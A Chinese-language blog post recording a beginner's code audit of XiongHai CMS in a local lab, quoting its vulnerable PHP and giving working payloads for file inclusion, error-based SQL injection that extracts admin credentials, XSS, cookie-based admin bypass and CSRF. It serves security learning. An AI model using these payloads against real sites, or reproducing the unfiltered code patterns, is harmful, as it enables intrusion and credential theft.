前言

之前学习的时候,一直没有代码审计过。这次,想自己审计个cms,看了师傅们的博客,简单了解了一下,审计入门,还是熊海比较适合,因为是简单的cms,适合入门。

审计环境

使用小皮面板,新建网站
image.png
image.png

审计过程

先了解文件目录
image.png

  1. admin --管理后台文件夹
  2. css --存放css的文件夹
  3. files --存放页面的文件夹
  4. images --存放图片的文件夹
  5. inc --存放网站配置文件的文件夹
  6. install --网站进行安装的文件夹
  7. seacmseditor --编辑器文件夹
  8. template --模板文件夹
  9. upload --上传功能文件夹
  10. index.php --网站首页

先把网站源码放到seay里面,自动审计一下。
image.png
可以看到,可疑漏洞挺多的,然后我们对比着代码进行一一核实

文件包含漏洞

**index.php**

  1. <?php
  2. //单一入口模式
  3. error_reporting(0); //关闭错误显示
  4. $file=addslashes($_GET['r']); //接收文件名
  5. $action=$file==''?'index':$file; //判断为空或者等于index
  6. include('files/'.$action.'.php'); //载入相应文件
  7. ?>

GET传值r,用函数addslashes转义我们传入的值,防止命令执行,但是这显然是不够的,这里对文件包含漏洞是没有用任何限制的。
这里可以直接包含到files文件夹下的文件,但是也可以通过目录穿越,包含到根目录。
我们在files文件夹下新建一个phpinfo.php

  1. <?php phpinfo();?>
  1. payload:
  2. ?r=phpinfo //包含files文件夹下的phpinfo()
  3. ?r=../phpinfo //包含根目录的phpinfo()

image.png
第二处 /admin/index.php也是同理 同样的代码,同样的包含。

SQL注入漏洞

SQL注入一般存在于登录框这里,我们直接看后台登陆框的源码**admin/files/login.php**
后台注入

  1. <?php
  2. ob_start();
  3. require '../inc/conn.php';
  4. $login=$_POST['login'];
  5. $user=$_POST['user'];
  6. $password=$_POST['password'];
  7. $checkbox=$_POST['checkbox'];
  8. if ($login<>""){
  9. $query = "SELECT * FROM manage WHERE user='$user'";
  10. $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  11. $users = mysql_fetch_array($result);
  12. if (!mysql_num_rows($result)) {
  13. echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
  14. exit;
  15. }else{
  16. $passwords=$users['password'];
  17. if(md5($password)<>$passwords){
  18. echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
  19. exit;
  20. }
  21. ?>

大致看了看代码:
user和password接受我们POST传值,没有任何过滤,直接插入到查询语句中。先在数据库中查询user是否存在,如果不存在就报错,而且mysql_error()是开着的,可以报错注入,如果user存在的话就对我们的传入的password进行md5散列和数据库中的password进行比较,如果相等,则登陆成功。
经过一番分析,存在报错注入,万能密码无法登录,因为对password进行md5散列,与数据库中进行对比。
漏洞复现:
正常的报错注入
1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) #
1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) #
image.png
确实存在
将两段得到的MD5的值拼起来进行MD5
爆破即可得出password明文,之后查询user
1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) #
image.png
即可进行登录。
然后我们查看别处
**/admin/files/softlist**

  1. $delete=$_GET['delete'];
  2. if ($delete<>""){
  3. $query = "DELETE FROM download WHERE id='$delete'";
  4. $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  5. echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=softlist'</script>";
  6. exit;
  7. }

依旧是开了mysql_error()且无过滤,注入同上
**/admin/files/editlink.php**

  1. $id=$_GET['id'];
  2. $query = "SELECT * FROM link WHERE id='$id'";
  3. $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  4. $link = mysql_fetch_array($resul);

类型同上,不再赘述。
我发现,好像这个cms涉及sql的均未过滤且可进行报错注入。这可能就是这个cms适合审计小白的原因了吧
我以为这个cms的SQL注入到此结束了,后来看了大佬的资料,发现还有两处特别之处,值得一提(对于我这种审计小白)。

**/files/software.php**
前台注入

  1. $id=addslashes($_GET['cid']);
  2. $query = "SELECT * FROM download WHERE id='$id'";
  3. $resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  4. $download = mysql_fetch_array($resul);

这里面引用了函数addslashes进行过滤
关于addslashes

函数addslashes()作用是返回在预定义字符之前添加反斜杠的字符串。预定义字符是单引号(’)双引号(”)反斜杠(\)NULL。

在官网中有这样的注释

默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

因为这里被GET传值就已经默认运行addslashes(),所以再次使用addslashes()就不起作用了,所以我们依旧还是可以进行报错注入。
payload:
?r=content&cid=1%20or(updatexml(1,concat(0x7e,(select%20version()),0x7e),1))
image.png
** /install/index.php **
安装流程存在SQL注入 ,代码如下

  1. $query = "UPDATE manage SET user='$user',password='$password',name='$user'";
  2. @mysql_query($query) or die('修改错误:'.mysql_error());
  3. echo "管理信息已经成功写入!<br /><br />";

没有过滤,mysql_error()开着,依旧可以考虑报错注入。
参阅大佬的文章
首先要对InstallLock.txt文件锁进行删除
重新安装的时候在user处报错注入
payload;
1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#
image.png
image.png
这个cms的SQL注入就到此结束了

XSS漏洞

反射型XSS

**/files/contact.php**

  1. $page=addslashes($_GET['page']); //59行
  2. <?php echo $page?> //139行

payload:
<img src=1 onerror=alert(/xss/)>
image.png
当然还有许多的反射型XSS,这里就不一一列举了,根上面这个,基本大差不差。

存储型XSS

**/admin/files/manageinfo.php**

  1. $save=$_POST['save'];
  2. $user=$_POST['user'];
  3. $name=$_POST['name'];
  4. $password=$_POST['password'];
  5. $password2=$_POST['password2'];
  6. $img=$_POST['img'];
  7. $mail=$_POST['mail'];
  8. $qq=$_POST['qq'];
  9. if ($save==1){
  10. if ($user==""){
  11. echo "<script>alert('抱歉,帐号不能为空。');history.back()</script>";
  12. exit;
  13. }
  14. if ($name==""){
  15. echo "<script>alert('抱歉,名称不能为空。');history.back()</script>";
  16. exit;
  17. }
  18. if ($password<>$password2){
  19. echo "<script>alert('抱歉,两次密码输入不一致!');history.back()</script>";
  20. exit;
  21. }
  22. //处理图片上传
  23. if(!empty($_FILES['images']['tmp_name'])){
  24. $query = "SELECT * FROM imageset";
  25. $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  26. $imageset = mysql_fetch_array($result);
  27. include '../inc/up.class.php';
  28. if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
  29. {
  30. $tmp = new FileUpload_Single;
  31. $upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
  32. $tmp -> accessPath =$upload;
  33. if ( $tmp -> TODO() )
  34. {
  35. $filename=$tmp -> newFileName;//生成的文件名
  36. $filename=$upload.'/'.$filename;
  37. $imgsms="及图片";
  38. }
  39. }
  40. }
  41. if ($filename<>""){
  42. $images="img='$filename',";
  43. }
  44. if ($password<>""){
  45. $password=md5($password);
  46. $password="password='$password',";
  47. }
  48. $query = "UPDATE manage SET
  49. user='$user',
  50. name='$name',
  51. $password
  52. $images
  53. mail='$mail',
  54. qq='$qq',
  55. date=now()";
  56. @mysql_query($query) or die('修改错误:'.mysql_error());
  57. echo "<script>alert('亲爱的,资料".$imgsms."设置已成功更新!');location.href='?r=manageinfo'</script>";
  58. exit;
  59. }
  60. ?>

POST传参,但是无任何过滤,直接根数据库进行交互,存在存储型XSS
payload:
<img src=1 onerror=alert(/xss/)>
image.png

垂直越权

**inc/checklogin.php**

  1. <?php
  2. $user=$_COOKIE['user'];
  3. if ($user==""){
  4. header("Location: ?r=login");
  5. exit;
  6. }
  7. ?>

如果COOKIE中user为空,跳转到登陆窗。这种就是最简单的垂直越权。
我们访问http://www.xionghai.com/admin/index.php抓包查看,这种情况,COOKIE中无user参数
image.png
image.png当我们修改COOKIE值后
image.png
越权就成功了,我们就可以访问管理页面了。

CSRF漏洞

举例
/admin/files/wzlist.php

  1. $delete=$_GET['delete'];
  2. if ($delete<>""){
  3. $query = "DELETE FROM content WHERE id='$delete'";
  4. $result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
  5. echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
  6. exit;

可以看见是没有任何验证的
然后我们进行一下delete操作
image.png然后抓包看一下
image.png
其payload
www.xionghai.com/admin/?r=wzlist&delete=18
然后我们换个浏览器,来访问这个payload,并且抓包,在Cookie处,添加user的值为admin
image.png
可以发现CSRF攻击成功
image.png
**admin/files/softlist.php**
依旧存在CSRF,做法同上。

总结

到此,这个cms的审计就差不多结束了,总的来看,这个cms不难,基本上所有的漏洞都没有过滤,这也许就是它适合我这种小白的原因吧。审计之路,道阻且长,继续加油。

参考

https://m0re.top/posts/a0a6d833/
https://blog.csdn.net/weixin_43872099/article/details/103001600
https://blog.csdn.net/qq_36869808/article/details/84324747